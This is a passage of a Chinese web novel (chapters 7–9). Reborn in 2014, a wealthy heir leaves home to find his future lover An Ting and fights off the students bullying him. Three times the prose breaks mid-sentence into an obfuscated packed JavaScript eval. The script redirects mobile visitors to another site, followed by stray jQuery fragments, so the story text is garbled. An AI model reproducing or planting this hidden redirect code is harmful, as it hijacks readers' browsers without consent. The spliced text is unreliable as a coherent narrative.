“二少,”门口的敲门声又规律地响了两下,女佣甜美的声音很有礼貌,“失礼了,二少爷,已经七点了,请您下楼和陆总用早饭。” 陆灼颂脑子剧痛,身上也痛。他没多想,下意识地就应了声:“知道了……” 应声完,他迷迷糊糊一抬头。 看见一间标准的豪宅少爷房。 一本日历挂在墙上,从左到右,黑白分明、清清楚楚地标着年月日—— 2014年9月25日。 7. 重生 陆灼颂躺在床上,仰着脑袋,愣住了。 他是倒着脑袋看见日历的。 陆灼颂一个鲤鱼打挺,刚要正坐起来仔细看看,可刚一动,浑身就猛地一痛。 他一声惨叫,嘎巴一下,又摔了回去。 跳崖留下的痛感居然还残留在身上。他身体里就跟有个多米诺骨牌似的,刚刚只一动,就扯得从头到脚一大片都开始噼里啪啦地疼,好像骨头又碎了一遍。 陆灼颂老实了,只颤颤巍巍地伸出手,捂着自己后背,在床上慢慢翻过身来。 他两眼都挂泪了,龇牙咧嘴地定睛往墙上一瞅—— 2014年9月25日。 2014年9月25日。 2014年9月25日,2014年9月25日…… 不管看多少遍,那都是2014年9月25日! 还真是2014年! 不对啊,今年是2026年11月29号啊! 一四年都是十二年前了! “二少?” 门口的女佣又敲了两下门,“二少,您还没醒吗?” 陆灼颂回过神。 他刚要应声,转头一看四周,又发现不对。 房间里的一切摆设,都过分熟悉。 墙上贴着一大片红黑的摇滚海报,桌上摊着一片写着歌词的纸。角落里有个复古留声机,旁边是几个上万的音响,靠墙还摆着几把名贵贝斯。 地上铺着豪贵的波斯地毯,墙外还有一整个宽阔无比的大阳台——整个卧室大得离奇,处处写着“有钱”俩字。 陆灼颂想起了什么。 他目光发木地又低头,捂着自己作痛的身体,慢慢地坐了起来。 他看见自己身下的床,也是分外熟悉,无比豪华。 陆灼颂松开自己,又抓了一把身上的黑色冰丝睡衣。他愣了好半天,懵逼地眨巴两下眼,又抬头。 这不是他的卧室吗。 这不是财阀还没出事前,他在家族庄园里的卧室吗! 财阀不是早没了吗!? 不对!他不是跳崖了吗!! “二少?” 门口又笃笃两声。 女佣都叫了他三遍了。 陆灼颂翻身下床,跑去门口开了门。 两个眼熟的女佣正站在门前。 门一开,她们就吓得一抖,茫然地望着他。 陆灼颂也茫然地望着她们——他还是无法理解发生了什么。但和她俩对视片刻,陆灼颂就想起来,自己以前从来不会亲自开门。 他只需要在房间里喊一声,她们就会拿着衣服进去,然后伺候他换衣服、洗漱,下楼吃早饭。 但这都是很久以前的事了。 他和她们呆呆地对望片刻,憋出了一句:“这儿该不会是天堂吧?” 女佣:“啊?” “大家都死了?”陆灼颂抹了把脑门,眉角抽搐几下,“不对啊,我是中国人啊,现在应该看见黑白无常而不是来天堂……” 女佣:“……二少?” 陆灼颂没听见,把脑门一撸,开始头脑风暴:“难不成是因为祖上血统?这样啊,外婆是巴黎人嘛,老话说一人得道鸡犬升天,外婆是天主教徒所以那全家都得是上天堂……” “二少?二少!”女佣慌了,“二少你没事吗!” 后头的女佣拉了她一把,小声说:“快去——” 还没来得及说去什么,旁边突然传来咔哒一声。 是房门关上的声音。 “干什么呢这是?” 一道熟悉的声音,把陆灼颂拉回了神。 他瞳孔一缩,手僵住,转过头。 陈诀穿着一身早秋的休闲衣服,正手握着门把手,刚把隔壁的门关上,转身朝他走来。 这个三年前就只能午夜梦回里见到的死人,刚刚还只是块墓碑的人,突然就走回到了他的视野里。 他依然是那样,脸上还带着几分浅笑。他一直是这样面庞清秀的浅笑模样,他有双圆眼和笑眸笑唇,嘴角天生往上扬一些,天生的一张笑脸,总是笑,面无表情时都带着笑。 “怎么了,二少?” 陈诀走到他面前。他耳朵上带着跟陆灼颂一起打的几个洞,还有几枚跟他同款的耳坠,随着动作轻轻地晃,“怎么穿着睡衣就出来了?” 陆灼颂伸出手。 陈诀半边脸突然就被他揪住了。他“卧槽”一声,被扯得往陆灼颂那边踉跄两步,嗷嗷地叫起来:“二少!二少!” 陆灼颂伸出另一只手,把他另一边脸也揪住,来来回回拉扯了会儿。片刻,他呆滞地松开手,转而把他圆脸一捧,搓猫搓狗似的猛搓了一通。 陈诀被搓得怪叫一阵。 搓够了,陆灼颂才收手。他呆呆望着陈诀,跌跌撞撞地后退两步,抬手,狠狠地给了自己一巴掌。 两个女佣吓得尖叫,陈诀也吓得大叫一声:“二少!” 陆灼颂深吸一口气,眼睛通红地又举起手,还要给自己一巴掌。 陈诀冲上来,拉住他:“你干什么二少,你打自己干什么!你这金枝玉贵的,一会儿我怎么跟陆总解释!我怎么跟我爸解释!许哥都得揍我了!!” “许哥”俩字一出,陆灼颂立马一怔:“谁?” “什么谁,许哥啊!”陈诀拉着他,“你就我们这两个左右护法,怎么连许哥都不知道了!” 陆灼颂瞳孔一缩,惊惧如潮水袭来。 他浑身上下的血,骤然如坠冰窖,全冻成了冰。 * 陆灼颂当然知道“许哥”。 一个陈诀,一个赵端许,是他这个财阀二少爷从小到大的两个跟班。 陈诀是他母亲陆简的贴身司机的儿子,赵端许是他父亲付倾那边一个下属的儿子。 两个人的家庭都和财阀有关系,儿子又都正好和陆灼颂相差年龄不大。那两人干脆就把儿子都给了陆家,从小就跟着陆灼颂当陪读。 这俩人从幼儿园开始就跟着他,陆灼颂当然知道。 他当然知道,当然知道——知道赵端许那白眼狼当了他十几年的跟班,最后却害得财阀破产,害死了他全家,又撞死了陈诀,更一针扎到了陆灼颂脖子上,送到了一群老男人的房间里。 如果没有安庭,他那时候就完了。 “你怎么了,二少,怎么脸突然白成这样?” 陈诀见他脸色吓人,松开他的手,试了试他脑门的温度,“是不是发烧了?” 陆灼颂一声不吭,死死地瞪着陈诀的脸。 他脑子里嗡嗡作响,看见陈诀担心他的脸在变形。他眼睁睁看着陈诀逐渐变得瘦削,左半边脑骨陷了下去,大滩大滩的血往下流,眼睛死不瞑目地麻木。 冷风不停地吹。 陆灼颂一把拍开陈诀的手,转身就往楼梯那边跑过去。 “!?二少!?”陈诀喊,“二少,你去哪儿啊!睡衣还没换呢!” 陆灼颂没理他,一路连滚带爬地跑向楼梯。 操你大爷,根本不是天堂! 那狗日的混蛋怎么可能上天堂,那狗东西是被判了死刑,该下地狱的!! 这是回来了! 事到如今,陆灼颂终于明白了——他根本不是死后上了天堂才和亲友重聚,是穿越回了十二年前! 所以陈诀活着,那狗日的赵端许也活着! ——也活着。 陆灼颂滞了一瞬,脑海里猝不及防闪过安庭的脸。 ……安庭也活着。 陆灼颂跑下了楼梯,冲进了餐厅。 一楼餐厅里,几个佣人正有条不紊地忙碌。 挂在墙上的电视里,正放着英文新闻,桌子上摆了几份早餐。黄油面包和鸡蛋培根的香气四散着,母亲陆简刚接过佣人递来的一杯咖啡,他姐姐陆声月也在她身旁的一排绿植前逗花弄草。 清晨,安宁极了,阳光也很好,照在她们身上,铎了一层金光。 餐厅的高级门开了又关上,轻轻发出一声咔哒声响。 听见声音,那两人回过头来,望向他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16871259|191851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见他身上的睡衣,陆声月一皱眉:“你穿了个什么就下来了?睡衣都没换?” 陆灼颂没说话。 他栽栽愣愣地往前晃了两步,眼睛里倏地就红了。 陆简本来也想说些什么——他们是财阀世家,就算是在家里,穿着睡衣到处走也是不像话。 可一看见他眼睛里骤然就发红,和那眼睛里骤然就掉下来的几颗眼泪,她立刻说不出话来了。 陆灼颂往前晃悠几步,朝着她们走了过去,然后慢慢地跑了起来。 他狂奔般冲过去,伸手,将她们猛地一起搂住。 两个人被他撞得往后踉跄几步。 陆灼颂在她们之间垂下脑袋,浑身发抖地耸了几下肩膀,喉咙里压着的哽咽终于没憋住,声嘶力竭地哭了出来。 陆声月莫名其妙了一阵:“你哭什么?有病啊,哭丧吗?” 陆灼颂哭得更大声了。 他扬起头,哭着嚎啕起来。 外头晴天朗朗,秋阳当空,已经没有雨雪。 一阵晴风吹来,庄园里的大树叶子被吹得摇摇。 园丁将前院的大树都修建好,擦了擦脑门上的汗,拎着工具箱来到了后院,照例将花丛的洒水器打开。 水珠哗啦啦地落下来,扫向花草。 太阳逐渐往正空中升起,渐渐地,将这一片原本背阴的地方也照射到了。 洒水器喷出的水,被照得闪烁起了金光。 闹剧似的嚎哭过后,陆灼颂把睡衣换了。 这会儿,他穿着件宽松印花白背心,套着件格子衬衫,一声不吭地坐在切斯特菲尔德的贵族沙发上,眼睛还是红的。 陈诀站在他旁边,干笑着给他削苹果。 陆灼颂吸吸鼻子,表情有点倔,又皱着眉揉揉肩膀。 还是有点疼。 跳崖的时候,肩膀骨头好像被一个什么玩意儿刺穿了。别的地方都好多了,已经不碍事,就只有肩膀和喉咙还是疼得厉害。 陆声月坐在他对面,还是一头雾水:“所以,你一大早起的哭什么?” 陆灼颂撇撇头:“没什么。” “没什么你能哭那样?”陆声月不信,“你在美国受欺负了?” 陆灼颂初中是在美国上的。 他抽抽嘴角:“没有。” “也是。”陆声月摸摸脸,唔了声,“你都初中毕业了。再开学,你都要去英国上高中了。” 陆灼颂没吭声,脑子钝钝地回想了一会儿。 26年的时候他二十八,14年这会儿是十六岁。算一算,确实刚从美国的中学毕业,眼看着要在自己的意愿下,改去英国伦敦继续读高中。 父亲付倾轻轻抚掌,慈爱地笑了两声——他也来了,这会儿正和陆简坐在一起。 而赵端许这个狗日的玩意儿也在场,是刚刚才来的。 他就站在陆灼颂另一边。 陆灼颂偏头侧眸,看了这人一眼。赵端许正模样笑眯眯的,安安静静地守在他身后,看着十分老实。 付倾突然开了口:“大约是在外面待的时间太久,孩子想家了。” 陆灼颂回过头,看见付倾伸出宽厚的手掌,安慰似的轻轻拍拍陆简,“你也别太担心,儿子有时候是很感性。” 他又看向陆灼颂,“可你这毛病得改一改,没几天你就得去英国……” “我不去英国了。”陆灼颂说。 付倾声音一顿。 陈诀和赵端许都不约而同地扭过头,讶异地望着他。 “哦,不去英国了。” 陆声月没多大反应——姓陆的都没多大反应,“那你想去哪儿?” 他们以为陆灼颂是心血来潮,要换个国家留学去。 多大个事儿,家里这么有钱,陆灼颂想去哪儿就去哪儿。 结果陆灼颂说:“不出国了,去新城。” 陆声月刚把一口苹果茶送进嘴里,闻言全喷了。 ——新城是国内最边上的一块地方。地处三线不说,还雪大雨大雾也大,要什么没什么。 8. 寻找 “新城!?” 陆声月腾地站起来,难以置信,“你去新城?去新城干嘛?打铁啊!” 新城是个北方的重工业城区,盛产钢铁。 付倾也皱着眉,颇为不赞同:“是啊,儿子,咱家这财大业大的,你完全能去国外的名校上学,干什么非得留在国内?还是那么个小破地方?” 陆灼颂瞥过去一眼,没理他,又把目光投向陆简。 财阀姓陆。 财阀顶头做主的老头子,叫陆山鸣,是他外公。 陆灼颂和他姐也都姓陆,所以这一家的家主,是他妈妈陆简。 陆简才是财阀的陆总,而付倾只是个入赘的男人。 付倾让不让陆灼颂走,并不重要。 陆简说了才算。 陆简相当淡定,正手端着那杯还没喝完的苦咖啡在喝。 几个人都齐齐看着她,她却不紧不慢地靠着沙发,优雅地把咖啡抿了一口又一口。 过去了快一分钟,她都没放下杯子。 座上没人敢吭声,一双双眼睛只是或发怵或不安、或焦急或沉静地看着她。所有人都沉默地在等待,也只能等待。 直到陆简慢条斯理地把杯子交给了旁边的佣人。 见她放下东西,有了要开口的意思,陆灼颂就说:“我必须去新城。” 安庭在新城。 他家是新城的。 陆简抬起眼皮,看了他一眼。 陆灼颂目光很坚定。 陆简收回目光,把两手握在一起。她握着自己的左手虎口,白玉般的纤长手指搓了两下皮肤,没说话,静静思忖了会儿。 良久,她不急不缓地问:“去新城哪个高中?” “三中。” 陆简点点头:“去吧。” “我——啊?” 陆灼颂都做好辩论到底的准备了,没想到他妈却迎头就给了个松口。他愣在那儿,准备好的一肚子墨水猝不及防地全成了废料。 好半天,陆灼颂懵逼地眨巴眨巴眼:“可、可以去啊?” “去呗。” 陆简回头,对佣人说,“去做杯荔枝绿茶,嘴巴有点苦。” “好的陆总。” 佣人弯弯身,转身去做荔枝茶了。 “等等。” 付倾开口打断。他转身握住陆简的手腕,一脸不赞同道,“JANE,这不好吧?” “哪里不好?” “陆氏财阀的儿子,去一个三线城市的公立高中上学?”付倾说,“让人知道了,多掉家族的面子,那不得被人笑话死。” “会被人笑话,那是家族能力不足。”陆简回答,“我陆氏家大业大,谁做生意不得看我的脸色?谁敢笑话我儿子?” “在国内上了个普通高中,大学还可以出国,研究生也可以出国。学历上升的后路多的是,他怕什么?” “如果这个高中,他中途不想上了,到时候再让他转学去国外名校,也来得及。他现在想去普通高中,就向下兼容,去体验体验基层。这又怎么没面子了?这难道对财阀来说,不也是需要的吗?” 付倾哑口无言。 他的脸色难看极了,显然还是不想让陆灼颂去。但他也确实被驳得无话可说,只能不甘地咬咬嘴唇。 陈诀在陆灼颂旁边蹲了下来,陆灼颂看了他一眼。 陈诀手上已经端上来了一盘子切好的苹果块。估计是刚才陆灼颂说话时,他自己背过身去倒腾出来的。 陈诀没说话,但眉头微微一蹙,显然也有些疑惑——估计是纳闷他家二少突然抽什么风,放着好好的伦敦不去,要去新城那种地方。 陆简往沙发上一靠,将两腿一叠,拿出手机来,最后做了总结:“好了,我去叫人给你联系新城三中,十一小长假过完,你就转学过去。伦敦学校那边的入学手续,就给你取消了。” “等不了。”陆灼颂说。 陆简手上一顿:“等不了?” “我今天就走。” 陆灼颂说完就站起来,转身离开,“谷叔,帮我订票。” 谷叔是陆氏的老管家。 突如其来被少爷在全家面前这样点名,他老腰一僵,直接在原地一个立正,挺胸抬头地罚站起来,满头大汗地一声没敢吭。 陆灼颂也没管他,脚步腾腾地走出去,关上了门。 门咔哒一声合上了,大客厅里一阵死寂,几个人都一脸懵逼。 谷老管家悄悄咪咪往沙发上看去,试探着望向陆简的脸色。她还是那样,面色平静,无波无澜的,看不出在想什么,只是望着陆灼颂离开的大门沉默。 谷管家更不敢动了。 还是陈诀最先有反应。他立刻朝着陆总一家弯腰鞠躬,然后把苹果盘子往旁边佣人手上一塞,转身就追了出去。 门再次咔哒一声合上了。 “谷学。”陆简淡淡叫他。 谷叔赶紧朝她低头弯身:“陆总。” “给他定个头等舱吧。”陆简在手机上点了几下,头也不抬,“他要走,就让他走。” * 陆灼颂回到卧室里,把行李箱拉出来,二话不说就把行李胡乱收拾一通,五分钟就把东西塞成个小箱子,拎起来就往外一推。 陈诀追过来,一推开门,他家二少的箱子就这样咕噜噜地朝自己腿边溜过来了。 陈诀惊呆了:“你这就收拾完了?!” “急着走。”陆灼颂挑了一把红白色贝斯,匆匆装进专用的琴包里,“快走,你把你那电吉他拿上,别的就别带了,要什么东西,到了那边之后我给你买。” “哦哦,行。”陈诀说,“那我去叫许哥,他还在……” “不叫他,就你跟我走。”陆灼颂说。 “诶?”陈诀愣了,“不叫他吗?你是过去上学的吧?” “对,上学,不叫他,以后我都用不着他。”陆灼颂走过去,把箱子跟贝斯一块塞给他,“你去门口等我。我还有点事,办完了我就出去找你。” “你干什么去?”陈诀问。 “少问!” 陆灼颂头也不回地放下一句话,就掠过他跑了。靠着这些年在舞台上又要唱又要跳的基本功,他速度快的可以,一溜烟就没了影。 办完了事,陆灼颂又往外跑。陈诀已经在别馆门口等他了,还很听话地背上了他那把电吉他。 一辆加长版黑色豪车也停在门口,是来接陆灼颂走的。 陈诀说:“陆总给你定了两张头等舱的票,两个小时后就起飞。本来要给你申请航线,坐私人飞机的,谁知道你这么急急慌慌地就要走。怎么这么着急去新城,到底干嘛啊?怎么了?” 他嘴上疑惑得很,腿上还是很尽职地拉着陆灼颂的行李箱一路小跑,把行李箱交给了来接他们的豪车司机,然后就跑去给陆灼颂打开车门。 上了车,司机启动车子,往附近的机场开过去。 去机场要一个小时。 机场倒是不远,只是出陆家的地盘就要半个小时。家里太大了,打这里起方圆十公里内,全是陆家的。 陆灼颂还是没回答陈诀,他望着豪车窗外那片广阔草坪。一片望不到头的绿草地,被修剪的十分漂亮的绿植,一直绵延向大门式的庄园入口。 陆灼颂喘了几口气,脑子还有点发懵。他也才反应过来,这时候家里是有私人飞机的。 只是私人飞机起飞,也要最少提前24小时申请航线。陆灼颂走的这么快,来不及申请。 最近三年穷惯了,他都忘了财阀里都有什么,也忘记了这会儿过的都是什么有钱日子。 “一会儿到了新城,我要去个地方。”陆灼颂说,“你先去找个酒店吧,我要自己去。” “你要去见人?”陈诀问。 “嗯。” “见谁啊?” 陆灼颂没吭声。 沉默好一会儿,他才说:“你还不认识。” 到了机场,他们过了安检,上了飞机。 五个小时后,他们在新城落地。 陆灼颂的财阀家庭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16871260|191851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在遥远的另一边的南方海城,全国最繁华的顶尖一线城市。 来找安庭,他算是飞了一整个国家。 一下飞机,冷空气就扑面而来,丝丝缕缕凉得刺骨。 新城在下雨,是一场淅淅沥沥的小秋雨,好在不耽误降落。飞机落地后,陆灼颂把自己的身份证和一张黑卡扔给陈诀,叫他拿着先去找个酒店,自己则急哄哄地就往机场外头跑。 新城机场的人还挺多,人来人往。 陆灼颂在门口拦了辆车。 他钻进车子里,说:“三中!” “三中?”司机一顿,“三中可远啊,你……” “远就远,快走!多少钱我都给你!” 一听这个,司机不说话了,一脚油门就踩了下去。 一个多小时后,车子到了三中门口。 陆灼颂给了钱,开了车门,跑下了车。 校门口空空荡荡,一片安静,半个人影都没有。 陆灼颂跑去拍了门卫的门,问高二什么时候放学。 “下午三点半,今天早点儿。”门卫说,“明天放假。” 陆灼颂谢过他,也松了口气,转头找了个地方等。校门口不远处有个小卖部,他干脆就蹲在小卖部的屋檐底下,紧盯着三中的校门口。 天上阴雨连绵。 三点的时候,学生放学了。 大片大片的学生开始从学校里冒出来,往外走。陆灼颂站到旁边的台阶上,垫着脚往校门口张望,眼睛跟电子波动速读似的,把学生的脸一个一个飞速扫过去。 学生出来了一群又一群,小卖部前也聚集起了一堆来买零食的人。四周热闹起来,放学时刻,一群学生欢笑得乐不可支,陆灼颂却一直没看见要找的那人。 他烦躁无比地啧了好几声,嘟嘟囔囔骂了几句,抓了几把头发。 眼瞅着学生都要走完了,他还是没看见安庭。 陆灼颂骂了句操,往旁边墙上狠狠锤了一拳头,又转头回望身后那群早已经走出去的学生,把每个人的脸又飞速地重新看了一遍。 看漏了? 安庭到底哪儿去了,不会今天没来上学吧? 正焦急地思忖时,一阵刺耳的笑声突然从不远处传过来。 陆灼颂一愣,回头,才看见校门口最边上的一块角落里,不知什么时候,聚集起了一群学生。 四五个学生,正把一个学生团团围在中间。 那学生又高又瘦,沉默地背靠着栏杆,皮肤泛着病态而憔悴的青白。他穿着长袖校服,半边肩膀挎着个旧得发白的黑色书包,长长的刘海把脸遮了个七七八八,右边脸上还贴着个白色贴布,低着头不做声。 一个人用手指往他脸上用力地猛戳了几下,嬉笑着,很大声地说了句什么。一群人哄堂狂笑起来,有人往他瘦弱的肩上用力砸了几拳。 学生默默地往后又退几步,后背紧贴在铁栏杆上。 陆灼颂看见他把嘴紧抿成一条颤抖的线,似乎是很疼。 陆灼颂一皱眉,转身朝着那群学生走去。 走了没几步,他又忽然脚步一顿——他看见那学生绷紧的下颌线,看见他侧边脖颈上的一颗痣。 莫大的熟悉感忽然袭来。 陆灼颂愣在原地,心脏停了一拍。 这愣住的片刻,一个人就把手里的奶茶盖子打开,扬手就把茶全泼在了那学生脸上。 学生一哆嗦,奶茶瞬间把他浇成了个落汤鸡。一个胖子伸出手,把他前发一薅,将这人往外狠狠扯了出来。 学生一个踉跄,摔在了地上。他被扯得仰起头来,一张病脸曝光在了雨里。 奶茶混着雨水,顺着他疼得狼狈抽搐的脸,淌了下来。 呼地一声,突然刮起一阵大风。 陆灼颂满头红发轰地乱了,瞳孔在眼眶里一缩。 “……安庭!!” 他大声喊,声音被放学的喧闹人群湮没。 那群学生没有听到。他们拽着安庭的头发,把他拖进了旁边的一条小巷里。 9. 卷毛 陆灼颂破口大骂一声,抬腿跑了过去。 他从小卖部的台阶上跳下,正好踩进水泊里。雨水啪地飞溅起来,湿了一裤腿。 小卖部前,学生已经聚集起了不少,好多人都被他吓了一跳,还有人惊叫出声。陆灼颂不管不顾,拨开聚集起来的人群,艰难地挤着人缝,冲了出去。 那群学生已经把安庭拖进巷子里了。 陆灼颂跑进去一瞧,是一条昏暗逼仄臭气熏天的巷子,到处堆满垃圾。 安庭被那群人踢倒在一堆垃圾上,三四个人都把脚踩在他身上,旁边还有个尖嘴猴腮的瘦子举着手机,在嘻嘻哈哈地录像。 他把手机往安庭脸上送:“来,看这儿啊,嘬嘬嘬——” 安庭躲着镜头,把双手挡在脸前,手腕却被人强硬地拽了起来。陆灼颂闯进来时,拽着他的手的那个胖子,正好往他脸上扇了一耳光。 一群人又开始狂笑。 笑声刺耳得像一把把刀子,对着耳膜往脑子里捅。 陆灼颂脑子里嗡的一声。 他抄起旁边一根木棍,冲上去,往那胖子后背上狠狠一砸。 棍子当即砸断了,胖子痛得一声惨叫。 旁边跟他一伙的学生听见声音,一回头,大惊失色:“胖哥!” 胖哥往前踉跄一步,弯下了腰,龇牙咧嘴地往后背一摸。 一些小血点洇了他后背的校服,湿了几块。 “谁啊!?”胖子回头,气得臭骂,“有病吧,哪个狗日的死爹玩意儿不长眼!?” 一群小弟跟着他一回头,才看见陆灼颂,和他手里的半截棍子。 “你他爸谁啊!” “日你爹了,个小白脸,多管闲事什么玩意儿?” 录像的那个更是直接把手机怼到了他脸上,嘴里吧唧吧唧嚼着泡泡糖,一嘴烟味的问他:“哎,你哪个学校的?怎么没穿校服,你街溜子啊?” “你老大谁啊?” 手机往他脸上一直怼。 陆灼颂没吭声。 他手里攥着断了半截的木棍,一直没吭声,也没看旁边的手机镜头,只是低着头。雨下个不停,他的头发又淋湿了,前发凌乱地塌下来,挡住了整个眉眼。 没人看见他的目光落在哪儿。 一群混混逼近过来。一张张歪瓜裂枣的脸,各个狰狞得像个鬼。 “说话啊,你谁啊!” “哑巴吗你,你妈没教你说话?!” 安庭从垃圾堆里爬了起来。 他动作很慢,骨头僵硬,连爬起来都狼狈不堪。真是太瘦了,校服湿淋淋地一贴皮肤,他皮包骨头般的消瘦身体就一览无余。 他领口上全是奶茶,发丝也被茶液黏得一缕一缕,稀碎的仙草和珍珠洒了一片,头发上也沾着细碎的垃圾,衣服上印着脏兮兮的几个脚印。 他半张脸都红了,是被打的。 茶液和雨丝还在一起从他惨白的脸上滑落。安庭咳嗽几声,嘴角边上沁了血。他抬起手捂住嘴,那手腕上有好几圈清晰可见的伤,一道一道地叠在一起,乱七八糟的一堆刀口。 雨突然大了。 陆灼颂站在滂沱的雨里,把手里的木棍猛地攥紧。 木棍咔地一声,被攥得木屑都爆了出来。 “喂,问你话呢,哑巴了?”录像的瘦子把手机贴到他脸上,往他脸上啪啪拍了两下,又嗤笑,“小样的,敢打胖哥——” 瘦子的手腕突然被抓住。 陆灼颂把他手腕用力一攥,将腕骨往上狠狠一掰。 瘦子惨叫起来,手一松,手机掉到了地上。 陆灼颂抬起腿,一脚重重踩上去。 手机连带着录像都咔嚓一声,碎了,屏全黑了。 “我日你——!!” 瘦子还没来得及骂完,陆灼颂另一手攥着木棍就砸了上来,往他脑袋上狠狠一闷。 木棍全碎了。 瘦子两眼一黑,脑后的木屑哗啦啦地飞扬,整个人直直地往下栽楞了下去。 瘦子倒地,扑街了。 其余人目瞪口呆。 陆灼颂丢掉手里只剩几厘米的破烂脆木棍,低着脑袋闷头走过来。他拽住一个人,转头把他摁在墙上,一拳就往人脸上招呼了过去。 那人结结实实吃了一拳,大骂一声,转身就跟他扭打到了一起。 胖哥回过了神来。他大骂一声陆灼颂那入赘的爹,带人冲了上去。 乱斗一触即发,一群人打成了一团。 逼仄的小巷子里就这么爆发了一场斗殴。外头只听咚咚锵锵一阵乱响,皮肉相揍的声音夹杂其中。不时有人撞到墙上,发出几阵惨叫,然后又是几声重响。 一阵混乱后,四个人全倒在了地上。 陆灼颂甩了甩手,喘了几口粗气。 地上横七竖八地躺了五个学生。 大雨滂沱地下着。 陆灼颂气喘吁吁地抬头,又看巷子里面。 安庭还坐在那儿。 他头上被泼的奶茶都被冲干净了,没动,坐在垃圾堆上怔怔地看着陆灼颂。 雨丝从他脸上往下滑落,从他讶异的眼角往下滴。 陆灼颂有些发怔地望着他那双乌蒙的眼睛,他看见他眼底下的一片青黑,看见他眼中的恍惚。 他看着七年后生日宴上这光鲜亮丽的影帝演员,他的爱人,在十七岁的年纪,居然就这样脏兮兮地坐在垃圾堆里。 安庭平静下来,有点发怵地看了他几眼,然后扶着旁边的墙,摇摇晃晃地站了起来。 他从地上拿起脏了的书包,还轻轻咳嗽着,把包挎到了肩膀上。他好像生病了,好像被打疼了,一直咳嗽,直不起腰,扶着墙慢吞吞地往外走。 陆灼颂往前走了两步,慢慢地加快脚步,最后朝他跑了过去。 他冲刺般扑到安庭怀里,抱住了他。 安庭吓了一跳,被撞得往后踉跄了好几步。 “你干什么!?”安庭嘶哑地喊他,“你谁啊你!不是——哎!!” 安庭站不稳,眼瞅着又要跌回去,陆灼颂一把抱住他的腰身,把他扯了回来。 他们一块往后跌跌撞撞了几步,又一起稳住,停了下来。 陆灼颂抓着他后背的衣服,埋在他怀里,浑身发抖,呼吸带上了一丝轻微的哭腔。 安庭一僵。 他已经把手放在陆灼颂肩膀上,已经往外推了半下。可陆灼颂一发抖,他的手就僵在了那儿,再也没动。 陆灼颂抱紧他。 “怎么是这样的,你怎么是这样……对不起,”陆灼颂说,“我对不起你……我对不起你。” 安庭还是没动。 “我脏,”他说,“起来吧,你认错人了。” “没认错。”陆灼颂声音发闷。 “认错了,我不认识你。”安庭推推他肩膀,“起来。” 陆灼颂把他抱得更紧了,紧得安庭“呃”了一声。 陆灼颂张张嘴,刚要说话—— “宝贝儿——” 不远处的巷子口那边,突然有人喊了一声。他话尾拖着长音,就这么恶心巴巴地往巷子里叫着。叫完了,还哈哈一笑。 安庭突然浑身一僵,一推手,把陆灼颂猛地就给推了出去。 陆灼颂直接被他推飞到墙上。 咚的一声,他的后脑和墙面撞了个亲密接触,痛得眼前都冒了两颗金星。 他嗷一嗓子,捂住后脑,两眼直冒泪光地望向安庭。 安庭低头整整身上的衣服,冷冷看了他一眼,对他的委屈巴巴视若无睹,挎好书包,扶着墙面往外走。 陆灼颂转头往外一看,看见巷子外头站着个人。 那人留了一头羊毛卷,长的倒是白白净净,可惜五官不怎么样。一双吊梢眼和下垂眉吊在脸上,戴着一嘴牙套,一笑起来就像个奸商,还长了一脸的雀斑。 他手里拿着一柄黑伞,身上穿着和安庭一样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16871261|191851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校服,把袖子和裤腿都挽了起来,脚上穿着双嘚嘚嗖嗖的漂亮球鞋,边站着边晃腿。 一瞧见陆灼颂,他那一双吊梢眼一下就瞪得老大,稀奇地把陆灼颂从头到尾打量了一遍。 陆灼颂也一挑眉,同样把这人上上下下打量了一遍。 很眼熟。 他好像在哪儿见过。 思索间,突然一道霹雳劈过陆灼颂的脑海。 伴着女主持播报安庭死讯的清冽声音,陆灼颂想起来了。 三天前! 三天前——十二年后的安庭葬礼上,这人当时西装革履,就笑眯眯地站在安庭那死爹妈旁边! 陆灼颂当时还以为是他哥——真是安庭死了他脑子都不转了,安庭他哥早在五年前就嗝屁了,怎么可能是他哥! 是这货! 这货在安庭葬礼上! 为什么!为什么他会在安庭葬礼上!? 话说他谁啊! “这是谁啊?” 羊毛卷也嚯了一声,抻长脖子,看了眼地上,又看了眼陆灼颂,“兄弟,都是你干的?” 陆灼颂没做声,对着他表情一凝。 这羊毛卷让他有种不好的预感。 如果是好人,安庭早介绍给他认识了。 普通的关系,也不可能在葬礼上出现。 “问你话呢,怎么不说话啊。”羊毛卷依然笑着,“这么能打,你是谁啊?” 说话间,安庭已经走过去了,他从羊毛卷身边路过,出了巷子。 “路人。”安庭说,“别管他了。” 有了他这答案,羊毛卷哈哈一乐,也不问了,跟着安庭转身就走。他一伸手,就把安庭搂住,俩人勾肩搭背地离开了。 